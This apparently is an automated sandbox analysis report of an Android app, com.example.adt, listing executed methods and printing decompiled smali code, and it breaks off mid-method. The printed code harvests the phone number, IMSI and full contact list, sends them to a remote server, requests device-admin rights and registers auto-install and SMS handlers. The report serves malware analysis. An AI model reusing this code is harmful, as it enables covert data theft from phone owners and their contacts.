Method: com.example.adt.Config.getAPNType:51 | Show source |
---|
Method: com.example.adt.Config.isServiceRunning:37 | Show source |
---|
Method: com.example.adt.App.hasApp:75 | Show source |
---|
Method: com.example.adt.Common.str_replace:7 | Show source |
---|
Method: com.example.adt.Common.str_replace:14 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:39 | Show source |
---|
Method: com.example.adt.App.changeApk:29 | Show source |
---|
Method: com.example.adt.SMS.send:8 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:56 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:86 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:265 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:9 | Show source |
---|
Method: com.example.adt.Config.getIMSI:12 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:9 | Show source |
---|
Method: com.example.adt.Config.getPhoneNumber:12 | Show source |
---|
Method: com.example.adt.Contact$1.run:56 | Show source |
---|
Method: com.example.adt.App$1.run:35 | Show source |
---|
Method: com.example.adt.App$1.run:54 | Show source |
---|
Method: com.example.adt.App$1.run:70 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:23 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:71 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:103 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:136 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:9 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:29 | Show source |
---|
Method: ..:11 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:22 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:12 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:47 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:55 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:22 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:39 | Show source |
---|
Method: ..:7 | Show source |
---|
Method: com.example.adt.Config.<clinit>:16 | Show source |
---|
Method: com.example.adt.Config.<clinit>:33 | Show source |
---|
Method: com.example.adt.Contact$1.run:26 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:10 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:40 | Show source |
---|
Method: ..:7 | Show source |
---|
Method: com.example.adt.App$1.run:12 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:34 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:63 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:108 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:17 | Show source |
---|
Method: ..:12 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:65 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:85 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:132 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:181 | Show source |
---|
Method: com.example.adt.App.getApps:64 | Show source |
---|
Method: com.example.adt.App.getApps:119 | Show source |
---|
Method: com.example.adt.App.getApps:150 | Show source |
---|
Method: ..:10 | Show source |
---|
Method: com.example.adt.App.hasApp:38 | Show source |
---|
Method: com.example.adt.Config.configPath:9 | Show source |
---|
Method: com.example.adt.SMS$2$1.run:12 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:109 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:117 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:97 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:35 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:14 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:120 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:128 | Show source |
---|
Method: ..:12 | Show source |
---|
Method: ..:21 | Show source |
---|
Method: ..:8 | Show source |
---|
Method: ..:11 | Show source |
---|
Method: ..:6 | Show source |
---|
Method: com.example.adt.SMS.send:16 | Show source |
---|
Method: com.example.adt.SMS$2.run:79 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:335 | Show source |
---|
Method: ..:12 | Show source |
---|
Method: ..:3 | Show source |
---|
Method: com.example.adt.SMS$2.run:13 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:3 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:111 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:119 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:99 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:37 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:16 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:122 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:130 | Show source |
---|
Method: ..:14 | Show source |
---|
Method: ..:23 | Show source |
---|
Method: ..:10 | Show source |
---|
Method: ..:13 | Show source |
---|
Method: ..:8 | Show source |
---|
Method: com.example.adt.SMS.send:18 | Show source |
---|
Method: com.example.adt.SMS$2.run:81 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:337 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:15 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:73 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:33 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:87 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:18 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:20 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:22 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:65 | Show source |
---|
Method: com.example.adt.HttpDownloader.getInputStreamFromURL:17 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:17 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:76 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:111 | Show source |
---|
Method: com.example.adt.HttpDownloader.getInputStreamFromURL:22 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:9 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:6 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:59 | Show source |
---|
Method: com.example.adt.HttpDownloader.getInputStreamFromURL:6 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:9 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.net.URL |
|
Method: com.example.adt.Connect.getHttpConnection:9 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.net.URL |
|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:27 | Show source |
---|
Method: com.example.adt.App.changeApk:24 | Show source |
---|
Method: com.example.adt.SMS.send:3 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:59 | Show source |
---|
Method: com.example.adt.App$1.run:73 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:119 | Show source |
---|
Method: com.example.adt.App.getApps:30 | Show source |
---|
Method: com.example.adt.App.getApps:44 | Show source |
---|
Method: com.example.adt.Contact$1.run:6 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.example.adt.Contact$1.run:6 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.example.adt.Contact$1.run:6 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.example.adt.HttpDownloader.download:14 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:8 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:61 | Show source |
---|
Method: com.example.adt.HttpDownloader.getInputStreamFromURL:11 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:13 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | libcore.net.http.HttpURLConnectionImpl |
|
Method: com.example.adt.CoreService$MyOrderRunnable.run:3 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:4 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:126 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:6 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:7 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:129 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:18 | Show source |
---|
Method: com.example.adt.App.getApps:16 | Show source |
---|
Method: com.example.adt.App.hasApp:18 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:24 | Show source |
---|
Method: com.example.adt.App.getApps:49 | Show source |
---|
Method: com.example.adt.App.hasApp:23 | Show source |
---|
Method: com.example.adt.Connect.postHttpConnection:19 | Show source |
---|
Method: com.example.adt.Connect.postHttpConnection:26 | Show source |
---|
Method: com.example.adt.Connect.postHttpConnection:33 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:15 | Show source |
---|
Method: com.example.adt.App.getApps:13 | Show source |
---|
Method: com.example.adt.App.hasApp:15 | Show source |
---|
Method: com.example.adt.Config.isServiceRunning:15 | Show source |
---|
Method: com.example.adt.Config.isServiceRunning:22 | Show source |
---|
Method: com.example.adt.Connect.postHttpConnection:17 | Show source |
---|
Method: com.example.adt.Connect.postHttpConnection:24 | Show source |
---|
Method: com.example.adt.Connect.postHttpConnection:31 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:96 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:99 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:103 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:130 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:135 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:142 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:155 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:175 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:189 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:262 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:283 | Show source |
---|
9 Executed Methods |
---|
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "httpUrl" | |
1 | .prologue | |
3 | const-string v4, "" | |
5 | const-string v5, "" | |
6 | const/4 v6, 0x0 | |
7 | try_start_5: new-instance v7, Ljava/net/URL; | |
9 | invoke-direct {v7, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V |
|
10 | try_end_a: move-object v6, v7 | |
11 | goto_b: if-eqz v6, :cond_61 | |
12 | try_start_d: | |
13 | invoke-virtual {v6}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; |
|
14 | move-result-object v8 | |
15 | check-cast v8, Ljava/net/HttpURLConnection; | |
16 | new-instance v2, Ljava/io/InputStreamReader; | |
18 | invoke-virtual {v8}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
19 | move-result-object v9 | |
21 | invoke-direct {v2, v9}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V | |
22 | new-instance v0, Ljava/io/BufferedReader; | |
24 | invoke-direct {v0, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V | |
25 | const/4 v3, 0x0 | |
26 | goto_22: | |
27 | invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String; | |
28 | move-result-object v3 | |
29 | if-nez v3, :cond_3b | |
31 | invoke-virtual {v2}, Ljava/io/InputStreamReader;->close()V | |
33 | invoke-virtual {v8}, Ljava/net/HttpURLConnection;->disconnect()V | |
34 | try_end_2e: if-eqz v5, :cond_31 | |
35 | move-object v4, v5 | |
36 | goto_31: return-object v4 | |
37 | catch_32: move-exception v1 | |
39 | const-string v9, "Conncet" | |
41 | const-string v10, "MalformedURLException" | |
43 | invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
44 | goto/16 :goto_b | |
45 | cond_3b: new-instance v9, Ljava/lang/StringBuilder; | |
47 | invoke-static {v5}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
48 | move-result-object v10 | |
50 | invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
52 | invoke-virtual {v9, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
53 | move-result-object v9 | |
55 | const-string v10, "\n" | |
57 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
58 | move-result-object v9 | |
60 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
61 | try_end_51: move-result-object v5 | |
62 | goto/16 :goto_22 | |
63 | catch_53: move-exception v1 | |
65 | sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
67 | invoke-virtual {v9, v1}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V | |
69 | const-string v9, "Conncet" | |
71 | const-string v10, "IOException" | |
73 | invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
74 | goto/16 :goto_31 | |
75 | cond_61: | |
76 | const-string v9, "Conncet" | |
78 | const-string v10, "Url NULL" | |
80 | invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
81 | goto/16 :goto_31 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .prologue | |
2 | try_start_0: | |
3 | const-string v1, "phone" | |
5 | invoke-virtual {p0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
6 | move-result-object v0 | |
7 | check-cast v0, Landroid/telephony/TelephonyManager; | |
9 | invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String; |
|
10 | move-result-object v1 | |
12 | invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String; | |
13 | try_end_f: move-result-object v1 | |
14 | goto_10: return-object v1 | |
15 | catch_11: move-exception v1 | |
17 | const-string v1, "" | |
18 | goto/16 :goto_10 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .prologue | |
2 | try_start_0: | |
3 | const-string v2, "phone" | |
5 | invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
6 | move-result-object v1 | |
7 | check-cast v1, Landroid/telephony/TelephonyManager; | |
9 | invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String; |
|
10 | move-result-object v0 | |
12 | invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String; | |
13 | try_end_f: move-result-object v2 | |
14 | goto_10: return-object v2 | |
15 | catch_11: move-exception v2 | |
17 | const-string v2, "" | |
18 | goto/16 :goto_10 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v3, 0x0 | |
3 | const-string v1, "" | |
4 | iput-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String; | |
6 | iget-object v1, p0, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService; | |
8 | invoke-virtual {v1}, Lcom/example/adt/CoreService;->getContentResolver()Landroid/content/ContentResolver; | |
9 | move-result-object v0 | |
11 | sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri; | |
13 | sget-object v2, Lcom/example/adt/Contact;->PHONES_PROJECTION:[Ljava/lang/String; | |
14 | move-object v4, v3 | |
15 | move-object v5, v3 | |
17 | invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; |
|
18 | move-result-object v7 | |
19 | if-eqz v7, :cond_26 | |
21 | invoke-interface {v7}, Landroid/database/Cursor;->getCount()I | |
22 | move-result v1 | |
23 | if-lez v1, :cond_26 | |
24 | goto_1d: | |
25 | invoke-interface {v7}, Landroid/database/Cursor;->moveToNext()Z | |
26 | move-result v1 | |
27 | if-nez v1, :cond_34 | |
29 | invoke-interface {v7}, Landroid/database/Cursor;->close()V | |
30 | cond_26: new-instance v1, Ljava/lang/Thread; | |
31 | new-instance v2, Lcom/example/adt/Contact$1; | |
33 | invoke-direct {v2, p0}, Lcom/example/adt/Contact$1;-><init>(Lcom/example/adt/Contact;)V | |
35 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
37 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
38 | return-void | |
39 | cond_34: const/4 v1, 0x1 | |
41 | invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; |
|
42 | move-result-object v8 | |
44 | invoke-static {v8}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z | |
45 | move-result v1 | |
46 | if-nez v1, :cond_1d | |
47 | const/4 v1, 0x0 | |
49 | invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; |
|
50 | move-result-object v6 | |
52 | iget-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String; | |
53 | new-instance v2, Ljava/lang/StringBuilder; | |
55 | invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
56 | move-result-object v1 | |
58 | invoke-direct {v2, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
60 | const-string v1, "|" | |
62 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
63 | move-result-object v1 | |
65 | invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
66 | move-result-object v1 | |
68 | const-string v2, "#" | |
70 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
71 | move-result-object v1 | |
73 | invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
74 | move-result-object v1 | |
76 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
77 | move-result-object v1 | |
78 | iput-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String; | |
79 | goto/16 :goto_1d |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation build Landroid/annotation/SuppressLint; | |
1 | value = { | |
2 | "NewApi" | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
7 | invoke-super {p0}, Landroid/app/Service;->onCreate()V | |
8 | sput-object p0, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
9 | new-instance v1, Ljava/lang/Thread; | |
10 | new-instance v2, Lcom/example/adt/CoreService$1; | |
12 | invoke-direct {v2, p0}, Lcom/example/adt/CoreService$1;-><init>(Lcom/example/adt/CoreService;)V | |
14 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
16 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
17 | sget v1, Landroid/os/Build$VERSION;->SDK_INT:I | |
18 | const/16 v2, 0xb | |
19 | if-lt v1, v2, :cond_50 | |
20 | new-instance v1, Landroid/os/StrictMode$ThreadPolicy$Builder; | |
22 | invoke-direct {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;-><init>()V | |
24 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectDiskReads()Landroid/os/StrictMode$ThreadPolicy$Builder; | |
25 | move-result-object v1 | |
27 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectDiskWrites()Landroid/os/StrictMode$ThreadPolicy$Builder; | |
28 | move-result-object v1 | |
30 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectNetwork()Landroid/os/StrictMode$ThreadPolicy$Builder; | |
31 | move-result-object v1 | |
33 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->penaltyLog()Landroid/os/StrictMode$ThreadPolicy$Builder; | |
34 | move-result-object v1 | |
36 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->build()Landroid/os/StrictMode$ThreadPolicy; | |
37 | move-result-object v1 | |
39 | invoke-static {v1}, Landroid/os/StrictMode;->setThreadPolicy(Landroid/os/StrictMode$ThreadPolicy;)V | |
40 | new-instance v1, Landroid/os/StrictMode$VmPolicy$Builder; | |
42 | invoke-direct {v1}, Landroid/os/StrictMode$VmPolicy$Builder;-><init>()V | |
44 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->detectLeakedSqlLiteObjects()Landroid/os/StrictMode$VmPolicy$Builder; | |
45 | move-result-object v1 | |
47 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->detectLeakedClosableObjects()Landroid/os/StrictMode$VmPolicy$Builder; | |
48 | move-result-object v1 | |
50 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->penaltyLog()Landroid/os/StrictMode$VmPolicy$Builder; | |
51 | move-result-object v1 | |
53 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->penaltyDeath()Landroid/os/StrictMode$VmPolicy$Builder; | |
54 | move-result-object v1 | |
56 | invoke-virtual {v1}, Landroid/os/StrictMode$VmPolicy$Builder;->build()Landroid/os/StrictMode$VmPolicy; | |
57 | move-result-object v1 | |
59 | invoke-static {v1}, Landroid/os/StrictMode;->setVmPolicy(Landroid/os/StrictMode$VmPolicy;)V | |
60 | cond_50: | |
61 | sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
63 | const-string v2, "CoreSverice is Begin" | |
65 | invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
67 | const-string v1, "issms" | |
68 | const/4 v2, 0x1 | |
70 | invoke-static {p0, v1, v2}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
72 | const-string v1, "iscall" | |
73 | const/4 v2, 0x0 | |
75 | invoke-static {p0, v1, v2}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
76 | new-instance v0, Landroid/content/IntentFilter; | |
78 | invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V | |
80 | const-string v1, "app.gx3.alert" | |
82 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
84 | const-string v1, "app.dwonload.complate" | |
86 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
88 | const-string v1, "app.auto.install" | |
90 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
92 | const-string v1, "alert.main" | |
94 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
95 | new-instance v1, Lcom/example/adt/CoreService$MyBroadcastReciver; | |
97 | invoke-direct {v1, p0}, Lcom/example/adt/CoreService$MyBroadcastReciver;-><init>(Lcom/example/adt/CoreService;)V | |
99 | invoke-virtual {p0, v1, v0}, Lcom/example/adt/CoreService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; |
|
100 | new-instance v1, Lcom/example/adt/Connect; | |
102 | invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V | |
103 | iput-object v1, p0, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect; | |
105 | invoke-static {p0}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
106 | move-result-object v1 | |
107 | iput-object v1, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
109 | iget-object v1, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
110 | sput-object v1, Lcom/example/adt/Config;->number:Ljava/lang/String; | |
112 | invoke-static {p0}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String; | |
113 | move-result-object v1 | |
114 | iput-object v1, p0, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String; | |
115 | new-instance v1, Ljava/lang/Thread; | |
116 | new-instance v2, Lcom/example/adt/CoreService$HTRunnable; | |
118 | invoke-direct {v2, p0}, Lcom/example/adt/CoreService$HTRunnable;-><init>(Lcom/example/adt/CoreService;)V | |
120 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
122 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
123 | new-instance v1, Ljava/lang/Thread; | |
124 | new-instance v2, Lcom/example/adt/CoreService$CommRunnable; | |
126 | invoke-direct {v2, p0}, Lcom/example/adt/CoreService$CommRunnable;-><init>(Lcom/example/adt/CoreService;)V | |
128 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
130 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
131 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v0, Landroid/content/Intent; | |
3 | const-string v1, "android.app.action.ADD_DEVICE_ADMIN" | |
5 | invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
7 | const-string v1, "android.app.extra.DEVICE_ADMIN" | |
9 | iget-object v2, p0, Lcom/example/adt/MainActivity;->componentName:Landroid/content/ComponentName; | |
11 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent; |
|
13 | const-string v1, "android.app.extra.ADD_EXPLANATION" | |
15 | const-string v2, "\u4e00\u952e\u9501\u5c4f" | |
17 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
19 | invoke-virtual {p0, v0}, Lcom/example/adt/MainActivity;->startActivity(Landroid/content/Intent;)V |
|
20 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | iget-object v5, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact; | |
4 | iget-object v5, v5, Lcom/example/adt/Contact;->data:Ljava/lang/String; | |
6 | invoke-static {v5}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; |
|
7 | move-result-object v1 | |
9 | iget-object v5, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact; | |
11 | iget-object v5, v5, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService; | |
13 | invoke-static {v5}, Lcom/example/adt/Config;->getIMSI(Landroid/content/Context;)Ljava/lang/String; | |
14 | move-result-object v3 | |
15 | new-instance v5, Ljava/lang/StringBuilder; | |
17 | sget-object v6, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
19 | const-string v7, "serverip" | |
21 | sget-object v8, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
23 | invoke-static {v6, v7, v8}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
24 | move-result-object v6 | |
26 | invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
27 | move-result-object v6 | |
29 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
31 | sget-object v6, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
33 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
34 | move-result-object v5 | |
36 | const-string v6, "Contact&status=1&imsi=" | |
38 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
39 | move-result-object v5 | |
41 | invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
42 | move-result-object v5 | |
44 | const-string v6, "&number=" | |
46 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
47 | move-result-object v5 | |
49 | iget-object v6, p0, Lcom/example/adt/Contact$1;->this$0:Lcom/example/adt/Contact; | |
51 | iget-object v6, v6, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService; | |
53 | invoke-static {v6}, Lcom/example/adt/Config;->getPhoneNumber(Landroid/content/Context;)Ljava/lang/String; | |
54 | move-result-object v6 | |
56 | invoke-virtual {v6}, Ljava/lang/String;->trim()Ljava/lang/String; | |
57 | move-result-object v6 | |
59 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
60 | move-result-object v5 | |
62 | const-string v6, "&content=" | |
